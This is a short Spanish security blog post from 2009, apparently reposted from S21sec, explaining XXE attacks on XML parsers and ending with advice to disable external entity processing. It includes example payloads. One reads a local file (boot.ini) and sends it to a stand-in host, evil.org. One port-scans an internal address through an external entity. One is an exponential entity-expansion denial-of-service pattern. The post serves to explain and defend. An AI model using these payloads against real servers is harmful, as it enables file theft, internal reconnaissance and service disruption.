25 feb 2009

Ataques contra parsers XML

XML se ha convertido en un estándar para el intercambio de información y es la base de tecnologías emergentes como Ajax/Web 2.0 y Web services.

XML permite el uso de entidades, estos elementos básicamente sirven para referenciar su contenido dentro del propio documento. Un uso típico de una entidad es cuando definimos una abreviatura de un nombre largo para posteriormente utilizar su versión corta dentro del documento, por ejemplo:
< !ENTITY s21 "Grupo S21sec Gestión ">
Menos conocida es la posibilidad de insertar contenido de elementos externos, por ejemplo:
< !ENTITY midoc SYSTEM "http://www.s21sec.com /midoc.xml">
< !ENTITY arch SYSTEM "arch.txt">
El problema aparece cuando el parser que trata los datos de entrada XML procesa sin ninguna restricción elementos como los anteriores descritos. Es entonces cuando podemos utilizar esta técnica, que comúnmente recibe el nombre de “Ataques XXE (XML eXternal Entity)”, para atacar al servidor que procesa el documento XML.

Lectura de ficheros arbitrarios: Se trata sencillamente de definir una entidad que expanda el contenido de un fichero local del servidor. Aún así, notar que el parser XML espera un documento con cierto formato y existen restricciones en los tipos de ficheros aceptados por el parser a no ser que se indique explícitamente que no tienen formato. Ejemplo:
< !DOCTYPE doc [        < !ENTITY bootini SYSTEM "file:///C:/boot.ini ">
< !ENTITY enviarb SYSTEM "http://evil.org/?&bootini;">
]>
Escaneo de puertos: Se trata de definir entidades externas que el servidor deba resolver para insertar su contenido en el documento.
< !DOCTYPE scan [ < !ENTITY s21sec SYSTEM "http://1.1.1.1:21/">
]>
Existe un documento excelente detallando esta técnica de Colin Wong de SIFT.

Ataques de denegación de servicio: Otro ataque que nos permiten las entidades externas es hacer referencia a una entidad cuyo contenido implique un procesamiento exponencial por parte del parser XML. Por ejemplo, un parser vulnerable requerirá
grandes cantidades de memoria para expandir la siguiente entidad:
< !DOCTYPE SOAP-ENV:Envelope [       < !ENTITY x0 "s21sec">
< !ENTITY x1 "&x0&x0">
< !ENTITY x2 "&x1&x1">
...
< !ENTITY x100 "&x99&x99">]>
Para prevenir todos estos ataques hemos de indicar al parser XML que no procese entidades externas, la implementación de esta restricción dependerá en gran medida del parser que utilicemos.

Javier Méndez Navarro
S21sec Auditoría

Fuente: S21Sec

Suscríbete a nuestro Boletín

0 Comments:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!